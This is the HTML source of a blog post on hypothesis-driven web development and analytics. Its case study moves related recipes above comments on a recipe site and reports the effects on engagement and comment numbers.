&lt;p&gt;We measure and learn from what we make, in an effort to make the solution better. The point is that our hypotheses and our thoughts are only assumptions – which we verify as theories via measurements (empricism), and so on.&lt;/p&gt;
&lt;p&gt;The steps of our development cycle include:&lt;/p&gt;
&lt;h2&gt;Identify tactical goal&lt;/h2&gt;
&lt;p&gt;We and/or the customer identify a goal, e.g. to make visitors stay longer on the site - not return to Google.&lt;/p&gt;
&lt;h2&gt;Action&lt;/h2&gt;
&lt;p&gt;Something we can do in an attempt to reach our goal, e.g. to add another level to the breadcrumbs on content pages.&lt;/p&gt;
&lt;h2&gt;Hypothesis&lt;/h2&gt;
&lt;p&gt;The reason for performing our action; why we think that the action in question will work (achieve the results we want), e.g. making more related content from the same category available, the user&apos;s will have alternative paths to explore.&lt;/p&gt;
&lt;h2&gt;Measure&lt;/h2&gt;
&lt;p&gt;How we measure the effect of our action; identifying what a successful experiment would look like, e.g. more page views and/or an increase in time spent per visit.&lt;/p&gt;
&lt;p&gt;Here we will need to plan our launch date, and possibly collect a grounds for comparison (data) if we don&apos;t continually compare with the &quot;original&quot; version of the site. We will also need to define a time frame for comparison.&lt;/p&gt;
&lt;h2&gt;Estimated effect&lt;/h2&gt;
&lt;p&gt;The kind of effect we think we will be able to see from our measurements, e.g. an increase in page views on the category pages.&lt;/p&gt;
&lt;h1&gt;Mindset&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;The only true wisdom is in knowing you know nothing.&lt;/p&gt;
&lt;p&gt;&lt;cite&gt;Socrates – allegedly...&lt;/cite&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We need to embrace Socrates&apos; enlightened ignorance; we don&apos;t know anything unless we&apos;ve &quot;proven&quot; it via measurements – because only then we can substantiate our claims and assumptions with knowledge, in the form of data.&lt;/p&gt;
&lt;p&gt;Don&apos;t expect the first change to meet your goals. Work strategically with small changes continuously. Document changes with numbers along the way, so that you have history and can learn from it. Ideally, you would do this in a central knowledge base, for instance via &lt;a href=&quot;https://medium.com/lean-product-development/kanban-boards-for-hypothesis-driven-development-32f99a70e8ee&quot;&gt;experiment reports&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Also: Measure the right things! Don&apos;t measure too many different things at once - this may make it difficult to separate the different factors and see what is really decisive.&lt;/p&gt;
&lt;p&gt;It is important to have numbers from both before and after the change, or it will be difficult to see any resulting progress.&lt;/p&gt;
&lt;p&gt;In our case, where we have defined page scrolling by using sections of vertically defined content, when we (litterally) prioritize something up something else is implicitly down-prioritized. Content priority is thus a zero-sum game – be aware of how singular changes affect the entirity!&lt;/p&gt;
&lt;h1&gt;Implementing tracking&lt;/h1&gt;
&lt;p&gt;In implementic tracking, it is important to follow a standard, structure events logically according to category, action, label, value, etc. and to document everything. In our case, we keep a spreadsheet of all our events (along with comments for explanations and technical details) so that anyone on the project team can look up any event at any time.&lt;/p&gt;
&lt;p&gt;We also document every experiment on its own wiki page. Here we write down our hypothesis and action, allong with goals and any collected statistics. We also mention launch date and experiment plan, along with dates for data collection.&lt;/p&gt;
&lt;p&gt;On our JIRA-board, we put a link to these pages in the relevant story-cards.&lt;/p&gt;
&lt;h1&gt;Interpreting the numbers&lt;/h1&gt;
&lt;p&gt;There are many potential pitfalls in trying to make sense of analytics.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There are three kinds of lies: lies, damned lies, and statistics.&lt;/p&gt;
&lt;p&gt;&lt;cite&gt;Benjamin Disraeli, according to Mark Twain&lt;/cite&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 600px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/0e3e3becf2674479898a70d5acce68f8/0a47e/PiratesVsTemp.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 66.45569620253164%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAACGklEQVR42m1Ta2/iMBDk//+qu9JW7YdCK1GoKJdAyPv9JEQm2pvZlD5OF8mxvd4dz86uZ1EU9dvt9uI4jgmCwLiua/b7vc602bZtjsej7nnu+77aLcsyYRgaz/MM4s3hcDBFUQyzuq7pKBxlWUocxwIngV3XAJI0TXXQRh+uQUSyLPuxr6pqnBl8bdtK0zRSFKWUVYWDWvK8gHMFkEaDaAMDXdNeYOaedgDJ6XQSfOMMC/OBLr4f6AiCUJI00wuiOMHtMdgmEoaRztfzFMOybFmtXqUGsAL2fU99FJABSZIquwas264DYKxsaK+Qcp7lCrR6Xct8fifL5Ys8PDxK23ZfDKlfh2DeTCAGEJwATKnt2olZGMrN/FYWi6Ws1xt53+3Ul2ck9MmQgJM+FYBP0n6Auq4nlm3L9n0nv37f6Oz5vsRJIh00yxGT5blmUX4HZFVJ+Y9lycE5yt39vTw/v8hm8ya3SIsaElxTBgglIJAWDhkwM5L5BExwI1k9PS3kCD0PjiMh2yKf9GJxUrRIBv0Ifk2TutLOfXUtCrRjU2oQA8iC6Zz6XhnwdgYzUKudTFWnxmEQ6ex5/peG7MNhOGsfet7UMnRScDiRBRs8ipJvrROLD90pD6XY7ydCCoif4WoYBnHgQGC2EV8BZzxDLdgOFeVLue6vA3w05nK5TIDjOCrgvx+D8W4VmI1PndkNeL86n8/n/4WNfwGZXdDQmQz2bwAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Global average temperature vs. number of pirates&quot;
        title=&quot;Global average temperature vs. number of pirates&quot;
        src=&quot;/static/0e3e3becf2674479898a70d5acce68f8/0a47e/PiratesVsTemp.png&quot;
        srcset=&quot;/static/0e3e3becf2674479898a70d5acce68f8/c26ae/PiratesVsTemp.png 158w,
/static/0e3e3becf2674479898a70d5acce68f8/6bdcf/PiratesVsTemp.png 315w,
/static/0e3e3becf2674479898a70d5acce68f8/0a47e/PiratesVsTemp.png 600w&quot;
        sizes=&quot;(max-width: 600px) 100vw, 600px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;One way of comparing alternate solutions is through A/B-testing. One should preferrably also compare these new post-change states with the original variety of the product, so that one does not have to think about seasonal variations, and so on.&lt;/p&gt;
&lt;p&gt;It is also important to avoid noise. Too many changes at once will possibly pollute the statistics within a variation, as there might not be enough dimensions in the data to reflect the amount of changes. If one does not test the product before and after change is implemented, one is potentially missing something that can be learned as a consequence of not having enough data.&lt;/p&gt;
&lt;p&gt;There is also the possibility of supplementing your interpretations of the quantitative data with qualitative research – for instance via limited user tests and semistructured interviews.&lt;/p&gt;
&lt;p&gt;If one is available, you should also make use of a professional analyst to make sense of the data – for the human mind is inclined towards logical fallacies, cognitive biases and apophenia.&lt;/p&gt;
&lt;p&gt;Since &quot;specificity is the soul of narrative&quot;, as my favourite podcaster John Hodgman says, I&apos;d like to illustrate the main points using a concrete example...&lt;/p&gt;
&lt;h1&gt;Case&lt;/h1&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 426px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/fdee15ffe27ca432651927c49356944b/531e1/learningLoop.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 104.43037974683544%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAIAAADJt1n/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAC9UlEQVR42nVUaXOaUBT1//+KzrTfmkzSiW1sm0QTNhFQRAFB3ADZF0FWRdKHWGM7CcPAW+55995zz32N1w+e3X4fxmmW78C4/MCm8d+8LCtLP4wxTnlhFZiVVcs/r38MLsvaAnzxiUItXU4PGXXzMpajJDvh6/cf8OWph8JgWYxXH4jR52+/bp+6qKDNWeG12JWX0R0hjfq3j6JIW8em4Y0YZ0B1x0t8ahBTjZyZwLM5lfwRHWtabBiJbZ/9VZ6DuaQhT86YkH/fWf0eWHE3EXCOiTrCqSvdBSuxri2a1/YQNwjIovDDriKykfmeBj8k2izVZjt7ZeCd2NDBRp7vvCCK07xycyh17HkrT1JjnpoLh0ZdjqnAG0mwGJxDHqG7q6fbK5slveNGeTicSU5dx6UxrtvBWk3q8d6YDGwKOxRFYysvDeJlQXdnBLxgCJPGNlOhBpd/+d9FkYk/r/m+gEMShboibVHdynOR5yCkQKATVQyFvgY/FWn6TwmOA2dE2yQEbOIVr8MPkaaeCNvFsfyz6dE9n2XyMHxXTCAQXxItmlDav3yBrw9t1IEZFOm4QZzvXz9Q4zkFt08k2voErsS4TSBKQCcaPJYl1a7hZXm4FOyxfiE9NxBsuFgobwojBJVYuGPVHyl+ZyQHUVJnelTSKXfQJKigD9WAtRJENGXDq8BJmlGSibLLT9c/WsiAmNmKWW2ADM0eYpJosFqCKYjo6hFvYcOHHvub5DFudfJMiWtMNIayQ8tem1lGeRGKvEvByXoaK6KFdzJ1tXKi2+f+PTJooXQLZ3u8cgJvkwxEDrEKwqv95n0kibN2SyCRGQnNKVToPq/htsNP0IFEyZv+yoP5temFby25LwrQd6D1gWg34xF9/aX94wa6+4rc3cDfb6fN61TXkiwXZYtbGm4QvRF25OVvSY5fp49vJSY3F5m13HCEwwz+uw/Kc1ddwmpygVQ0DAINpOMdk+wWWXYu9bng71xDF5IqM8/Ng6Au+rt32B92hokmZC+GLgAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;The Lean learning loop&quot;
        title=&quot;The Lean learning loop&quot;
        src=&quot;/static/fdee15ffe27ca432651927c49356944b/531e1/learningLoop.png&quot;
        srcset=&quot;/static/fdee15ffe27ca432651927c49356944b/c26ae/learningLoop.png 158w,
/static/fdee15ffe27ca432651927c49356944b/6bdcf/learningLoop.png 315w,
/static/fdee15ffe27ca432651927c49356944b/531e1/learningLoop.png 426w&quot;
        sizes=&quot;(max-width: 426px) 100vw, 426px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Ideas&lt;/h2&gt;
&lt;p&gt;From a user test, we discovered that there was little navigation between content; If users did not find what they were looking for, they returned to where they came from.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/aa6e01f9917fef2b25218092e7413298/0d4b7/scrolls.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 128.48101265822785%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAaABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAECAwX/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIQAxAAAAHuq5KAJV5Ggg//xAAZEAACAwEAAAAAAAAAAAAAAAABEAAxQRH/2gAIAQEAAQUC22FvRAxX/8QAFBEBAAAAAAAAAAAAAAAAAAAAIP/aAAgBAwEBPwEf/8QAFBEBAAAAAAAAAAAAAAAAAAAAIP/aAAgBAgEBPwEf/8QAFBABAAAAAAAAAAAAAAAAAAAAMP/aAAgBAQAGPwJP/8QAHBAAAgEFAQAAAAAAAAAAAAAAAAEREDFBUXEh/9oACAEBAAE/IVE/H0SyFS6k7LhmGlSOxql//9oADAMBAAIAAwAAABAgyX3/xAAUEQEAAAAAAAAAAAAAAAAAAAAg/9oACAEDAQE/EB//xAAUEQEAAAAAAAAAAAAAAAAAAAAg/9oACAECAQE/EB//xAAdEAEAAwACAwEAAAAAAAAAAAABABEhMUEQUZGx/9oACAEBAAE/EAKjfZxgKrqZBRXR4SIb+rDuXELUXjYIgTdg0Gx4ZzQ/DOCf/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Amount of users (in percentage) that scrolled to lower parts of the page&quot;
        title=&quot;Amount of users (in percentage) that scrolled to lower parts of the page&quot;
        src=&quot;/static/aa6e01f9917fef2b25218092e7413298/828fb/scrolls.jpg&quot;
        srcset=&quot;/static/aa6e01f9917fef2b25218092e7413298/ff44c/scrolls.jpg 158w,
/static/aa6e01f9917fef2b25218092e7413298/a6688/scrolls.jpg 315w,
/static/aa6e01f9917fef2b25218092e7413298/828fb/scrolls.jpg 630w,
/static/aa6e01f9917fef2b25218092e7413298/0ede0/scrolls.jpg 945w,
/static/aa6e01f9917fef2b25218092e7413298/3ac88/scrolls.jpg 1260w,
/static/aa6e01f9917fef2b25218092e7413298/0d4b7/scrolls.jpg 1529w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Build, Product&lt;/h2&gt;
&lt;p&gt;We therfore laid a plan:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Action&lt;/strong&gt;: Move related recipes upward, over comments.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hypothesis&lt;/strong&gt;: By displaying related recipes eariler on the page, we believe that users will be more likely to click elsewhere in the solution, rather than going back to Google&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Measure&lt;/strong&gt;: More clicks on related recipes&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Current numbers&lt;/em&gt;: Between 5000 and 7000 clicks per week&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Estimated effect&lt;/strong&gt;: 180% increase, about 8000 more clicks&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Timeframe&lt;/em&gt;: Check status 1 week after launch&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/f3a4fd112c61ec063356bddfa1f0c723/cb4d6/solution.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 82.91139240506328%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAARABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAEDAgX/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIQAxAAAAH3s+oaAlCg/8QAGhAAAgIDAAAAAAAAAAAAAAAAAREQEiAxQf/aAAgBAQABBQLqg7qFh//EABQRAQAAAAAAAAAAAAAAAAAAACD/2gAIAQMBAT8BH//EABQRAQAAAAAAAAAAAAAAAAAAACD/2gAIAQIBAT8BH//EABQQAQAAAAAAAAAAAAAAAAAAADD/2gAIAQEABj8CH//EABoQAAEFAQAAAAAAAAAAAAAAAAEAEBEhcTH/2gAIAQEAAT8hrS2GERJU2rY9f//aAAwDAQACAAMAAAAQE88A/8QAFBEBAAAAAAAAAAAAAAAAAAAAIP/aAAgBAwEBPxAf/8QAFBEBAAAAAAAAAAAAAAAAAAAAIP/aAAgBAgEBPxAf/8QAHBABAAMBAAMBAAAAAAAAAAAAAQAhMREQcZHx/9oACAEBAAE/EFNqRC3fv+wekot0HWCAYrdgAAYTD1DPH//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;A possible solution to our problem&quot;
        title=&quot;A possible solution to our problem&quot;
        src=&quot;/static/f3a4fd112c61ec063356bddfa1f0c723/828fb/solution.jpg&quot;
        srcset=&quot;/static/f3a4fd112c61ec063356bddfa1f0c723/ff44c/solution.jpg 158w,
/static/f3a4fd112c61ec063356bddfa1f0c723/a6688/solution.jpg 315w,
/static/f3a4fd112c61ec063356bddfa1f0c723/828fb/solution.jpg 630w,
/static/f3a4fd112c61ec063356bddfa1f0c723/0ede0/solution.jpg 945w,
/static/f3a4fd112c61ec063356bddfa1f0c723/cb4d6/solution.jpg 1129w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Measure, Data&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Tactical goal: Increased engagement&lt;/strong&gt;
Make visitors stay on the site, and not return to Google
&lt;ul&gt;
&lt;li&gt;More page views per visit&lt;/li&gt;
&lt;li&gt;Increased time spent on page per visit&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/6dd37f5c6561984fb0aef90d261b5bf0/e8588/statistics.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 65.82278481012659%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAQAF/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEAMQAAAB3xAqP//EABQQAQAAAAAAAAAAAAAAAAAAACD/2gAIAQEAAQUCX//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8BP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABQQAQAAAAAAAAAAAAAAAAAAACD/2gAIAQEABj8CX//EABkQAQACAwAAAAAAAAAAAAAAAAEAEBEhgf/aAAgBAQABPyHlJuhzGf/aAAwDAQACAAMAAAAQUM//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/ED//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/ED//xAAbEAACAQUAAAAAAAAAAAAAAAAAAREQMUFR0f/aAAgBAQABPxCX0S3gQ2lU0C4//9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Our numbers&quot;
        title=&quot;Our numbers&quot;
        src=&quot;/static/6dd37f5c6561984fb0aef90d261b5bf0/828fb/statistics.jpg&quot;
        srcset=&quot;/static/6dd37f5c6561984fb0aef90d261b5bf0/ff44c/statistics.jpg 158w,
/static/6dd37f5c6561984fb0aef90d261b5bf0/a6688/statistics.jpg 315w,
/static/6dd37f5c6561984fb0aef90d261b5bf0/828fb/statistics.jpg 630w,
/static/6dd37f5c6561984fb0aef90d261b5bf0/e8588/statistics.jpg 747w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;From our data, we can see the following:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Avg. time spent per visit (HH:MM:SS)&lt;/th&gt;
&lt;th&gt;Avg. pages seen per visit&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Change&lt;/td&gt;
&lt;td&gt;+ 00:00:02&lt;/td&gt;
&lt;td&gt;- 0,02&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Learn&lt;/h2&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 573px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/301569961e697f20147f2ac2a3d6c00f/eda93/eventsFired.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 61.39240506329114%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAMABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAECAwQF/8QAFAEBAAAAAAAAAAAAAAAAAAAAAf/aAAwDAQACEAMQAAAB7FWqSIYP/8QAGRABAAIDAAAAAAAAAAAAAAAAAQMRAAIQ/9oACAEBAAEFApS9CDAo7//EABURAQEAAAAAAAAAAAAAAAAAABAR/9oACAEDAQE/AYf/xAAVEQEBAAAAAAAAAAAAAAAAAAAQEf/aAAgBAgEBPwGn/8QAGBAAAgMAAAAAAAAAAAAAAAAAAAERICH/2gAIAQEABj8Cg11//8QAGhABAAMAAwAAAAAAAAAAAAAAAQARIRAxYf/aAAgBAQABPyFkHakOt78gABhHn//aAAwDAQACAAMAAAAQ8M//xAAWEQEBAQAAAAAAAAAAAAAAAAABEBH/2gAIAQMBAT8QQus//8QAFhEBAQEAAAAAAAAAAAAAAAAAARAR/9oACAECAQE/EBBhP//EABwQAQACAQUAAAAAAAAAAAAAAAEAETEQQWGBkf/aAAgBAQABPxDAiR7MxbcSuyU5goIRS9kdf//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Percentage of users that triggered our various events&quot;
        title=&quot;Percentage of users that triggered our various events&quot;
        src=&quot;/static/301569961e697f20147f2ac2a3d6c00f/eda93/eventsFired.jpg&quot;
        srcset=&quot;/static/301569961e697f20147f2ac2a3d6c00f/ff44c/eventsFired.jpg 158w,
/static/301569961e697f20147f2ac2a3d6c00f/a6688/eventsFired.jpg 315w,
/static/301569961e697f20147f2ac2a3d6c00f/eda93/eventsFired.jpg 573w&quot;
        sizes=&quot;(max-width: 573px) 100vw, 573px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;By moving content up, we down-prioritize other content, e.g. comments&lt;/li&gt;
&lt;li&gt;The amount of users that see the comments has gone from 19,8% to 9.01%&lt;/li&gt;
&lt;li&gt;There were fewer comments added this Semptember than the year before&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Ideas&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Action&lt;/strong&gt;: Make a shorcut to the comments available from the main content of the recipe.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Hypothesis&lt;/strong&gt;: The users can not easily know that there are comments on the recipe. It appears that the page is over when one reaches the related content.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Measure&lt;/strong&gt;: Counteract negative effect from changed position on the page&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Current numbers&lt;/em&gt;: From 280 to 145 new comments&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/fc5b49a4ca05526bcbb895b2c2b66d11/cb4d6/shortcut.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 58.86075949367089%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAMABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAIDBf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhADEAAAAe7FSag//8QAGRAAAgMBAAAAAAAAAAAAAAAAAREAECFB/9oACAEBAAEFAuqiNQU//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAFBABAAAAAAAAAAAAAAAAAAAAIP/aAAgBAQAGPwJf/8QAGxAAAgIDAQAAAAAAAAAAAAAAAAERIRAxQXH/2gAIAQEAAT8hlTk9LCGrLldFo//aAAwDAQACAAMAAAAQgw//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/ED//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/ED//xAAaEAEAAwEBAQAAAAAAAAAAAAABABEhMVGh/9oACAEBAAE/EKMA0VDa8/YNlkQhpyNDxr7AADk//9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Sketch of a shortcut to the comment section&quot;
        title=&quot;Sketch of a shortcut to the comment section&quot;
        src=&quot;/static/fc5b49a4ca05526bcbb895b2c2b66d11/828fb/shortcut.jpg&quot;
        srcset=&quot;/static/fc5b49a4ca05526bcbb895b2c2b66d11/ff44c/shortcut.jpg 158w,
/static/fc5b49a4ca05526bcbb895b2c2b66d11/a6688/shortcut.jpg 315w,
/static/fc5b49a4ca05526bcbb895b2c2b66d11/828fb/shortcut.jpg 630w,
/static/fc5b49a4ca05526bcbb895b2c2b66d11/0ede0/shortcut.jpg 945w,
/static/fc5b49a4ca05526bcbb895b2c2b66d11/cb4d6/shortcut.jpg 1129w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
